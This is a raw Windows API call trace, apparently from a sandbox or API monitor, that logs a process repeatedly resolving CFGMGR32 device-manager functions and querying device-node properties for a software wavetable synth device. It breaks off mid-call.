GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.991] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.992] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.992] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.992] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.992] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0213.992] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0213.992] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0213.992] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0213.992] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0213.993] malloc (_Size=0x18) returned 0x20abc281960 [0213.993] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x1, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0213.993] malloc (_Size=0x48) returned 0x20abc27cf80 [0213.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3b51777e, dwHighDateTime=0x1d9eb0c)) [0213.993] SetEvent (hEvent=0x248) returned 1 [0213.997] malloc (_Size=0xd8) returned 0x20abc2867b0 [0213.997] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0213.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0213.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0213.997] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0213.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0213.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0213.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0213.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0213.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0213.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0213.998] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0213.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0213.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0213.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0213.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0213.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0213.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0213.999] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.000] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.000] malloc (_Size=0x18) returned 0x20abc281ae0 [0214.000] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0214.001] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3b51777e, dwHighDateTime=0x1d9eb0c)) [0214.001] SetEvent (hEvent=0x248) returned 1 [0214.005] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.006] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.006] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.007] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.104] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.105] malloc (_Size=0x18) returned 0x20abc281fa0 [0214.106] CM_Get_Device_IDA (in: dnDevInst=0x35, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\MMDEVAPI\\MICROSOFTGSWAVETABLESYNTH") returned 0x0 [0214.106] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3b623126, dwHighDateTime=0x1d9eb0c)) [0214.106] SetEvent (hEvent=0x248) returned 1 [0214.110] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.110] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.112] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.112] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.112] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.112] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.112] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.113] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.113] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.113] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.113] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.113] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.113] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.114] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.114] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.114] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.114] malloc (_Size=0x18) returned 0x20abc281f80 [0214.114] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0214.115] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.115] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3b623126, dwHighDateTime=0x1d9eb0c)) [0214.115] SetEvent (hEvent=0x248) returned 1 [0214.119] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.119] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.123] malloc (_Size=0x18) returned 0x20abc281ea0 [0214.123] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0214.123] malloc (_Size=0x38) returned 0x20abc281050 [0214.123] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281050, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281050, pulLength=0x2dc22fd3f8) returned 0x0 [0214.124] free (_Block=0x20abc281050) [0214.124] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3b648b42, dwHighDateTime=0x1d9eb0c)) [0214.124] SetEvent (hEvent=0x248) returned 1 [0214.127] malloc (_Size=0x18) returned 0x20abc281dc0 [0214.127] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0214.127] free (_Block=0x20abc281dc0) [0214.127] malloc (_Size=0x18) returned 0x20abc281e60 [0214.127] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0214.127] free (_Block=0x20abc281e60) [0214.127] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d770 [0214.127] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0214.127] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0214.127] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0214.127] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79760 [0214.127] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0214.127] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0214.127] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0214.128] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0214.128] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0214.128] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0214.129] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79760) returned 1 [0214.129] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d770) returned 1 [0214.130] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.130] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.144] malloc (_Size=0x18) returned 0x20abc2819e0 [0214.144] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0214.147] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3b694e4e, dwHighDateTime=0x1d9eb0c)) [0214.148] SetEvent (hEvent=0x248) returned 1 [0214.151] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.151] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.154] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.154] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.154] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.154] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.154] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.155] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.155] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.155] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.155] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.155] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.155] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.156] malloc (_Size=0x18) returned 0x20abc281ee0 [0214.156] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0214.156] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3b694e4e, dwHighDateTime=0x1d9eb0c)) [0214.156] SetEvent (hEvent=0x248) returned 1 [0214.330] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.330] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.335] malloc (_Size=0x18) returned 0x20abc281d40 [0214.335] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x35, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, 